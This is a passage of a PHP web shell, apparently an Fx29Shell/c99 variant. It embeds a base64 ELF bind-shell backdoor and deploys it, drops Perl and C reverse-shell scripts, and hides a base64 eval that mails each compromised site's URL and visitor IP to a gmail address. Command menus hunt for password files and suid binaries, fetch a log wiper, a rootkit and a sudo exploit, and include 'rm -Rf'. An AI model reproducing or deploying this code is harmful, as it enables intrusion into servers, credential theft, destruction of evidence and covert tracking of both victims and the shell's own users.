6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRCQIiVQkBItF8IkEJOht/f//iUX0g330AHkMxwQkjIkECOg4/f//6EP9//+FwA+EpwAAAItF+Ln/////iUW4uAAAAAD8i3248q6JyPfQg+gBx0QkDAAAAACJRCQIi0X4iUQkBItF9IkEJOiQ/f//x0QkBAAAAACLRfSJBCToPf3//8dEJAQBAAAAi0X0iQQk6Cr9///HRCQEAgAAAItF9IkEJOgX/f//x0Qk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EgAAAMwCAAAAAAAAOgAAABIAAADcAgAA1JoECAAAAAAgABYA5wIAAAAAAAA5AAAAEgAAAPcCAAAkiQQIAAAAABIADQD9AgAAAAAAALkAAAASAAAADQMAAAAAAAArAAAAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAOwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";

function cf($fname,$text) {
  $w_file=@fopen($fname,"w") or err();
  if($w_file) {
    @fputs($w_file,base64_decode($text));
    @fclose($w_file);
  }
}

function cfb($fname,$text) {
  $w_file=@fopen($fname,"w") or bberr();
  if($w_file) {
    @fputs($w_file,base64_decode($text));
    @fclose($w_file);
  }
}
function err() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't connect!"; }
function bberr() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!"; }

if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) {
  $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  $por = $_POST['backconnectport'];
  if (is_writable(".")) {
    cfb("shbd",$backdoor);
    ex("chmod 777 shbd");
    $cmd = "./shbd $por";
    exec("$cmd > /dev/null &");
    $scan = myshellexec("ps aux");
  } else {
    cfb("/tmp/shbd",$backdoor);
    ex("chmod 777 /tmp/shbd");
    $cmd = "./tmp/shbd $por";
    exec("$cmd > /dev/null &");
    $scan = myshellexec("ps aux");
  }
  if (eregi("./shbd $por",$scan)) {
    $data = ("
<br>Backdoor setup successfully.");
  } else {
    $data = ("
<br>Process not found, backdoor setup failed!");
  }
  $_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";
}

if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) {
  if (is_writable(".")) {
    cf("back",$back_connect_pl);
    $p2 = which("perl");
    $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
    if (file_exists("back")) { unlink("back"); }
  } else {
    cf("/tmp/back",$back_connect_pl);
    $p2 = which("perl");
    $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
    if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
  }
  $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
}

if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) {
  if (is_writable(".")) {
    cf("backc",$back_connect_c);
    ex("chmod 777 backc");
    $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
    if (file_exists("backc")) { unlink("backc"); }
  } else {
    ex("chmod 777 /tmp/backc");
    cf("/tmp/backc",$back_connect_c);
    $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
    if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); }
  }
  $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
}

@ini_set("max_execution_time",0);
if (!function_exists("getmicrotime")) {
  function getmicrotime() {
    list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
  }
}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
define("starttime",getmicrotime());
$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3Vu
dCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FE
RFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFV
RVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJv
c3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7
IEBtYWlsKCJ3ZWJyMDB0Lm1rdEBnbWFpbC5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQg
YnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2ll
KCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data));
if (get_magic_quotes_gpc()) {
  if (!function_exists("strips")) {
    function strips(&$arr,$k="") {
      if (is_array($arr)) {
        foreach($arr as $k=>$v) {
          if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
        }
      } else {$arr = stripslashes($arr);}
    }
  }
  strips($GLOBALS);
}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
$surl_autofill_include = TRUE; 
foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
if ($surl_autofill_include) {
  $include = "&";
  foreach (explode("&",getenv("QUERY_STRING")) as $v) {
    $v = explode("=",$v);
    $name = urldecode($v[0]);
    $value = urldecode($v[1]);
    foreach (array("http://","https://","ssl://","ftp://","\") as $needle) {
      if (strpos($value,$needle) === 0) {
        $includestr .= urlencode($name)."=".urlencode($value)."&";
      }
    }
  }
}
if (empty($surl)) {
  $surl = "?".$includestr; 
}
$surl = htmlspecialchars($surl);

$ftypes  = array(
    "html"=>array("html","htm","shtml"),
    "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
    "exe"=>array("sh","install","bat","cmd"),
    "ini"=>array("ini","inf","conf"),
    "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
    "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
    "sdb"=>array("sdb"),
    "phpsess"=>array("sess"),
    "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
$exeftypes  = array(
    getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
    "perl %f%" => array("pl","cgi")
);
$regxp_highlight  = array(
    array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
    array("\.tgz$",1,"<font color=#C082FF>","</font>"),
    array("\.gz$",1,"<font color=#C082FF>","</font>"),
    array("\.tar$",1,"<font color=#C082FF>","</font>"),
    array("\.bz2$",1,"<font color=#C082FF>","</font>"),
    array("\.zip$",1,"<font color=#C082FF>","</font>"),
    array("\.rar$",1,"<font color=#C082FF>","</font>"),
    array("\.php$",1,"<font color=#00FF00>","</font>"),
    array("\.php3$",1,"<font color=#00FF00>","</font>"),
    array("\.php4$",1,"<font color=#00FF00>","</font>"),
    array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
    array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
    array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
    array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
    array("\.ico$",1,"<font color=#00FFFF>","</font>"),
    array("\.gif$",1,"<font color=#00FFFF>","</font>"),
    array("\.png$",1,"<font color=#00FFFF>","</font>"),
    array("\.htm$",1,"<font color=#00CCFF>","</font>"),
    array("\.html$",1,"<font color=#00CCFF>","</font>"),
    array("\.txt$",1,"<font color=#C0C0C0>","</font>")
);
if (!$win) {
  $cmdaliases = array(
    array("", "ls -al"),
    array("Find all suid files", "find / -type f -perm -04000 -ls"),
    array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
    array("Find all sgid files", "find / -type f -perm -02000 -ls"),
    array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
    array("Find config.inc.php files", "find / -type f -name config.inc.php"),
    array("Find config* files", "find / -type f -name \"config*\""),
    array("Find config* files in current dir", "find . -type f -name \"config*\""),
    array("Find all writable folders and files", "find / -perm -2 -ls"),
    array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
    array("Find all writable folders", "find / -type d -perm -2 -ls"),
    array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
    array("Find all service.pwd files", "find / -type f -name service.pwd"),
    array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
    array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
    array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
    array("Find all .bash_history files", "find / -type f -name .bash_history"),
    array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
    array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
    array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
    array("List file attributes on a Linux second extended file system", "lsattr -va"),
    array("Show opened ports", "netstat -an | grep -i listen")
  );
  $cmdaliases2 = array(
    array("-----",""),
    array("Logged in users","w"),
    array("Last to connect","lastlog"),
    array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
    array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
    array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
    array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
    array("CPU Info","cat /proc/version /proc/cpuinfo"),
    array("Is gcc installed ?","locate gcc"),
    array("Format box (DANGEROUS)","rm -Rf"),
    array("-----",""),
    array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
    array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
    array("Run WIPELOGS PT3","./zap2"),
    array("-----",""),
    array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
    array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
  );
}
else {
  $cmdaliases = array(
    array("", "dir"),
    array("Find index.php in current dir", "dir /s /w /b index.php"),
    array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
    array("Find r57shell in current dir", "find /c \"r57\" *"),
    array("Show active connections", "netstat -an"),
    array("Show running services", "net start"),
    array("User accounts", "net user"),
    array("Show computers", "net view"),
    );
}
$phpfsaliases = array(
    array("Read File", "read"),
    array("Write File (PHP5)", "write"),
    array("Copy", "copy"),
    array("Rename/Move", "rename"),
    array("Delete", "delete"),
    array("Make Dir","mkdir"),
    array("-----", ""),
    array("Download", "download"),
    array("Download (Binary Safe)", "downloadbin"),
    array("Change Perm (0755)", "chmod"),
    array("Find Writable Dir", "fwritabledir"),
    array("Find Pathname Pattern", "glob"),
);

$quicklaunch1 = array(
	array("[Home]",$surl."=img&img=home"),
    array("[Enumerate]",$enumerate),
    array("[Md5-Lookup]","http://passcracking.com/index.php"),
    array("[Word-Lists]","http://darkc0de.com/wordlists/"),
    array("[milw0rm it!]",$millink),
	array("[Search]",$surl."x=search"),
    array("[Self-Kill]",$surl."x=selfremove"),
    array("[About]",$surl."x=about")
);
$quicklaunch2 = array(
	array("[FTP Buteforcer]",$surl."x=ftpquickbrute"),
    array("[Security Info]",$surl."x=security&d=%d"),
    array("[Processes]",$surl."x=processes&d=%d"),
    array("[MySQL]",$surl."x=sql&d=%d"),
    array("[PHP-Code]",$surl."x=eval&d=%d"),
    array("[Encoder]",$surl."x=encoder&d=%d"),
	array("[Backdoor]",$surl."x=shbd"),
    array("[Back-Connection]",$surl."x=backc")
);


$highlight_background = "#000000";
$highlight_bg = "white";
